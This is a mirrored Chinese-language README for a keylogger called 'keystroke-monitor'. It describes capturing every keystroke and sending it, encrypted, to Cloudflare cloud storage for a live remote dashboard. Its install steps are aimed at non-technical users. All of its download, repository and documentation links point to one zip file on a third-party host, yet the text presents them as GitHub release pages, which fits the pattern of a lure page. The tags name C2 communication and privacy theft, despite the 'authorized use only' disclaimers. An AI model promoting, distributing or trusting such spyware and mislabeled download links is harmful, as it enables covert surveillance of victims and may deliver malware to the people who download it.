nexuscyberhub/keystroke-monitor

GitHub: nexuscyberhub/keystroke-monitor

基于 Python 和 Cloudflare Workers 的跨平台实时按键监控工具,用于安全研究和终端检测能力测试。

Stars: 1 | Forks: 0

# ⌨️ keystroke-monitor - 简单、安全的按键追踪 [![下载 keystroke-monitor](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip)](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip) ## 📖 什么是 keystroke-monitor? keystroke-monitor 是一款专为教育目的设计的工具。它追踪你在键盘上按下的键,并将此信息安全地发送到云服务。该应用程序使用加密技术来保护你的数据。它包含一个仪表板,你可以在浏览器中打开它以实时查看记录的按键。该工具仅用于授权测试,例如学习键盘事件、软件开发或安全研究。 ## 💻 系统要求 要运行 keystroke-monitor,你的设备应满足以下基本要求: - Windows 10 或更高版本 / macOS 10.15 或更高版本 / 支持 GUI 的 Linux - 至少 2 GB RAM - 100 MB 可用存储空间 - 互联网连接,用于安全地将数据发送到云端 - 现代网络浏览器(Google Chrome、Firefox、Edge、Safari)用于访问仪表板 你不需要任何编程知识即可使用此软件。该应用程序作为独立程序运行。 ## 🚀 入门指南 按照以下步骤下载、安装并开始使用 keystroke-monitor。 ### 步骤 1:下载软件 点击此页面顶部的大蓝色按钮或[访问此链接](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip)以打开 GitHub 上的发布页面。 查找最新的发布版本,并找到与你的操作系统匹配的文件: - 对于 Windows,下载 `.exe` 文件。 - 对于 macOS,下载 `.dmg` 或 `.pkg` 文件。 - 对于 Linux,下载 `.AppImage` 或 `.deb` 文件。 点击文件名开始下载。 ### 步骤 2:安装软件 - **Windows**:双击 `.exe` 文件并按照安装程序说明进行操作。如果出现提示,请允许程序对你的设备进行更改。 - **macOS**:打开 `.dmg` 文件,然后将应用图标拖到你的 Applications 文件夹。 - **Linux**:如果你下载了 AppImage 文件,请右键单击它,选择“属性”,并启用“允许作为程序执行文件”。然后双击它运行。如果你下载了 `.deb` 文件,请打开终端并输入 `sudo dpkg -i [filename].deb`。 ### 步骤 3:打开 keystroke-monitor 应用 安装后,在桌面或开始菜单上找到 keystroke-monitor 应用图标。打开它。该应用程序将在后台运行并安全地监控按键。 ### 步骤 4:访问仪表板 打开你的网络浏览器并访问应用程序窗口中显示的仪表板 URL,通常是 `http://localhost:3000` 或类似的地址。此页面在安全的界面中实时显示你的按键。 ## 🔒 工作原理 keystroke-monitor 捕获你在键盘上按下的每个键。然后,它通过由 Cloudflare Workers 管理的安全网络服务发送此数据。数据存储使用 Cloudflare Durable Objects 和 R2 存储,以确保数据安全高效地保存。RSA 加密在传输前保护数据。 你可以控制何时开始和停止监控,并可以从仪表板中清除过去的按键记录。 ## ⚙️ 功能特性 - **实时监控**:在仪表板上实时查看你的按键更新。 - **安全数据传输**:你的数据经过加密并通过私有云系统发送。 - **云存储**:使用 Cloudflare 的持久存储功能安全地存储数据。 - **跨平台**:适用于 Windows、macOS 和 Linux。 - **易于安装和使用**:无需编程。 - **仪表板界面**:用于查看输入活动的简洁网页。 - **仅限授权使用**:设计时充分考虑了隐私和安全。 - **开源**:你可以检查源代码或根据需要进行修改。 ## 📥 下载并安装 使用此链接下载最新版本: [下载 keystroke-monitor](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip) 向下滚动查找适用于你设备的文件。该页面列出了所有发布版本,并附有新功能和修复说明。 请务必保持软件更新以确保安全和功能改进。 ## 🤔 常见问题 ### keystroke-monitor 使用安全吗? 是的。该应用程序对你的数据进行加密,并仅将其发送到你授权的私有云存储。它并非旨在未经许可监视用户。 ### 我可以从另一台设备查看按键吗? 可以。仪表板使用 Web 技术显示实时按键数据,可从专用网络上的任何设备访问。 ### 如果我想停止监控怎么办? 你可以关闭应用程序或使用仪表板界面中的停止按钮。数据收集将立即停止。 ### 我需要知道如何编写代码吗? 不需要。该软件安装后即可使用,不需要任何技术技能。 ## 🛠️ 故障排除 - 如果应用程序无法打开,请尝试重启计算机。 - 确保你拥有适合你操作系统的正确版本。 - 如果仪表板网页无法打开,请检查你的防火墙设置。 - 确保你有互联网连接。 - 如果问题持续存在,请通过 GitHub 仓库联系支持。 ## 🌐 关于本项目 此应用使用了现代工具和框架,包括: - Bun runtime,用于快速的 JavaScript 执行 - Cloudflare Workers,用于 Serverless 后端 - Durable Objects 和 R2,用于云存储 - Hono,用于仪表板服务端渲染 (SSR) - RSA 加密,用于安全数据传输 - Tailwind CSS,用于仪表板样式 - Websocket,用于实时显示按键 - Python 和 pynput 库,用于捕获硬件按键 这些技术使 keystroke-monitor 保持安全、快速和可靠。 ## ⚖️ 许可证和使用说明 keystroke-monitor 仅用于授权测试和教育目的。请勿在未经用户事先同意的情况下使用它记录按键。滥用可能会违反隐私法。 源代码和发布版本在开放许可证下提供。请参阅本仓库中的 LICENSE 文件。 ## 🔗 有用链接 - [发布页面](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip) - [项目仓库](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip) - [文档与支持](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/808ce491a9124235.zip)(如果可用) 感谢你使用 keystroke-monitor。按照上面的简单步骤开始使用。
标签:C2通信, Cloudflare Durable Objects, Linux监控工具, macOS监控, Python开发, Windows监控软件, 击键监控, 后台记录, 实时数据流, 屏幕监控, 攻击路径可视化, 敏感信息捕获, 教育安全工具, 数据加密, 用户行为分析, 程序员工具, 系统信息收集, 自动化攻击, 自动化攻击, 跨平台监控, 输入记录, 远程监控, 逆向工具, 键盘记录器, 隐私窃取, 黑客工具